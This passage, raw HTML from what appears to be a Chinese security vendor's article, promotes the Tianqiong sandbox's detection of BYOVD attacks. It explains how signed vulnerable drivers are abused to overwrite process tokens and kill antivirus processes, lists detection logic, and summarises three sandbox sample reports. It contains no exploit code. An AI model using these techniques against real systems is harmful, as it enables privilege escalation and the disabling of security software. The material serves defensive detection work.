2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在此背景下，天穹智能化沙箱系统</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">已完成对 BYOVD 攻击全链路行为的深度建模，并正式上线针对该类攻击的专项检测能力</span></strong><span leaf="">。经实测验证，天穹沙箱可</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">精准识别包括驱动加载、内核内存操作、令牌提权、杀软进程终止等</span></strong><span leaf="">关键阶段，有效阻断 BYOVD 攻击在横向移动与持久化前的关键窗口。</span></p><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">2</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">BYOVD 攻击为何难以防御</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BYOVD 的核心在于“合法签名 + 漏洞”的组合利用。攻击者无需自行开发驱动，而是从公开渠道（如厂商官网、GitHub、驱动仓库）搜集已被微软 WHQL 签名、但存在任意写（Arbitrary Write）、UAF（Use-After-Free）等漏洞的旧版驱动（例如 ASUS、EVGA等硬件厂商历史驱动）。由于这些驱动具备有效证书，即使在启用了 Secure Boot 和 Driver Signature Enforcement 的系统中，仍可被加载执行。</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">更关键的是，此类攻击不依赖传统注入、Hook 或 shellcode 执行，而是通过驱动暴露的 IOCTL 接口直接与内核交互，绕过用户态 EDR 监控。一旦成功利用，攻击者即可实施以下操作：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">修改任意进程的 EPROCESS.Token，实现权限提升至 SYSTEM；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">覆写目标进程（如 MsMpEng.exe、360tray.exe、bdagent.exe）的内存或关键结构，使其异常退出而不触发进程保护机制；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">在 HVCI 未启用的环境中实现近乎“无痕”的内核控制。</span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">3</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">样本分析</span></span></strong></p></div></div></div></div><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对 BYOVD 攻击的隐蔽性与内核级特性，天穹沙箱从</span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">驱动加载行为、内核内存访问模式、进程上下文关联</span></strong><span leaf="">三个维度构建了多层检测引擎：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">1. 漏洞驱动加载行为识别</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">天穹沙箱内置 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">驱动文件信誉库</span></strong><span leaf=""> 与 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">动态加载行为分析模块</span></strong><span leaf="">，能够：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">实时监控样本是否尝试注册或加载 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">.sys</span></code><span leaf=""> 驱动文件；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">比对加载的驱动是否属于已知存在漏洞的 WHQL 签名驱动（如关联 CVE-2020-1884、CVE-2021-21551、CVE-2022-22047 等）；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">识别非标准路径（如 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">%Temp%</span></code><span leaf="">）下的驱动部署行为，标记为高风险。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">2. 内核内存异常操作语义分析</span></strong></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过天穹自研的内核行为监控框架，系统可捕获驱动加载后通过 DeviceIoControl 发起的 IOCTL 调用，并对其中的内存读写请求进行语义解析：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">监控是否对 PsInitialSystemProcess 链表或 SeTokenObjectType 地址进行非预期访问；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">识别令牌（Token）字段篡改行为，如 Token-&gt;Privileges 等的异常修改。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">3. 杀软进程异常终止关联分析</span></strong></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">当检测到某一新加载的内核模式驱动通过 IOCTL 调用 NtTerminateProcess 以终止进程；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">并紧随其后观察到如 MsMpEng.exe（Microsoft Defender）或 360sd.exe（360杀毒）等安全软件进程发生非正常退出时，系统将触发 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">BYOVD 利用</span></strong><span leaf="">行为告警。</span></p></li></ul><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to right,#2432cc,#1166d0);width: 36px;height: 36px;display: flex;justify-content: center;align-items: center;border-radius: 100%;z-index: 2;box-sizing:border-box;"><strong><span leaf="">0</span></strong><strong data-original-title="" title="" data-num="2"><span leaf="">4</span></strong></p></div><div><p style="font-size: 16px;color: #222872;text-align: left;padding: 0 10px;box-sizing:border-box;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 20px;">检测能力展示</span></span></strong></p></div></div></div></div><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">样本一：利用 BYOVD 技术终止进程</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=93edd2d672880703055f91c4e58907dd&amp;sk=64994015" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=93edd2d672880703055f91c4e58907dd&amp;sk=64994015</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">进程加载了一个非系统签名的可疑驱动模块，并通过该驱动在内核模式下发起对 NtTerminateProcess 的直接调用；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">随后，安全防护进程 MsMpEng.exe 被异常终止，且无正常的退出流程或用户交互；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">该行为符合 T1211（Exploitation for Defense Evasion）攻击技术特征，疑似利用 BYOVD（Bring Your Own Vulnerable Driver，自带易受攻击驱动程序）技术绕过安全机制；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">沙箱自动触发 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">BYOVD 技术利用</span></strong><span leaf="">高危告警，标识为【危险】级别。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img alt="终止进程" class="rich_pages wxw-img" data-imgfileid="100005258" data-ratio="0.2289855072463768" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" data-type="png" data-w="1035" src="https://wechat2rss.xlab.app/img-proxy/?k=3d317f5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lu7wAb4Ur0dq6uQMN87wUrvzicI9Cv5Ikh5jwOXYFIvuvichPOtxznM0PeTBSmkDUmkNrrjWYaN7Pg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图1 利用BYOVD技术终止进程</span></center><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">基于天穹智能体理解 BYOVD 技术利用的原理：</span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005259" alt="大模型问答" class="rich_pages wxw-img" data-ratio="0.6444444444444445" data-type="png" data-w="1080" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8ce3cba0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lu7wAb4Ur0dq6uQMN87wUrLbBsJRbP641nlREHQOmSOI2MCb4BA7YsosO07xOOtTuRRS9nGhFibDA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图2 天穹智能体解读</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">样本二：已知 BYOVD 漏洞驱动检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&amp;sk=81858080" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&amp;sk=81858080</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本从临时目录 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">%AppData%\Temp\frAQBc8Wsa1xVPfv</span></code><span leaf=""> 加载了一个已知存在漏洞的合法驱动程序 </span><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;courier new&#34;, &#34;Input Mono&#34;, &#34;PT Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 0.8rem;background-color: rgb(246, 246, 246);padding: 2px 4px;"><span leaf="">PDFWKRNL.sys</span></code><span leaf="">（哈希：0cf84400c09582ee2911a5b1582332c992d1cd29fcf811cb1dc00fcd61757db0）；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">该驱动被用于执行内核级操作，以绕过安全机制并获取系统最高控制权；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">沙箱自动触发 </span><strong style="box-sizing: border-box;font-weight: 600;"><span leaf="">BYOVD 攻击</span></strong><span leaf="">高危告警，标识为【危险】级别。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005257" alt="目录穿越检测图2" class="rich_pages wxw-img" data-ratio="0.25265188042430087" data-type="png" data-w="1037" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=7bcea0cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lu7wAb4Ur0dq6uQMN87wUrUpDZmyeHbGyyAuoKVxGswYMeQE5SDsZx7PPkswZVsG8em4R7K6KDEg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图3 已知 BYOVD 漏洞驱动检测</span></center><h2 style="box-sizing: border-box;font-size: 1.5rem;margin: -56px 0px 0.5rem;line-height: 1.5rem;font-weight: 500;padding-top: 70px;color: rgb(32, 32, 32);font-family: sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-size: 18px;">样本三：内核漏洞利用检测</span></span></h2><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">报告链接：</span><span leaf=""><a href="https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&amp;sk=81858080" target="_blank">https://sandbox.qianxin.com/tq/report/toViewReport.do?rid=1af6491c0b3cf30d74ff78865024568a&amp;sk=81858080</a></span></p><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过天穹沙箱分析，系统在样本执行过程中捕获到以下行为：</span></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 2rem;overflow-wrap: break-word;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">样本在用户态执行期间，通过构造特定内存布局及系统调用，触发了操作系统内核中的安全漏洞；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">紧随其后，该进程成功将自身权限提升至 SYSTEM 级别，且提权过程绕过了正常的权限控制机制，无合法服务或用户授权介入；</span></p></li><li style="box-sizing: border-box;"><p><span leaf="">沙箱基于行为语义与特权异常变更判断，自动触发“内核漏洞利用”高危告警，标识为【危险】级别。</span></p></li></ul><p style="box-sizing: border-box;margin: 0.75rem 0px;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100005256" alt="内核提权" class="rich_pages wxw-img" data-ratio="0.18627450980392157" data-type="png" data-w="714" style="box-sizing: border-box;border: 0px;text-align: center;margin: 0px auto;display: block;max-width: 100%;max-height: 1024px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bf6b7131&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FlG0evzxL96lu7wAb4Ur0dq6uQMN87wUrKHKzYkhKXFU6ibb0pcfIiaNSUYgDgU8y3KQYh1iaXFMoh9D1JEXM4QUPw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><center style="box-sizing: border-box;color: rgb(32, 32, 32);font-family: sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 300;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">图4 内核提权漏洞利用检测</span></center><div data-role="title" data-tools="135编辑器" data-id="158385" data-pm-slice="0 0 []"><div style="margin: 10px auto;display: flex;justify-content: flex-start;"><div style="display: flex;align-items: center;"><div style="flex-shrink: 0;display: flex;flex-direction: column;padding: 0 5px;box-sizing:border-box;"><p style="font-size: 16px;letter-spacing: 1.5px;color: #ffffff;background: linear-gradient(to 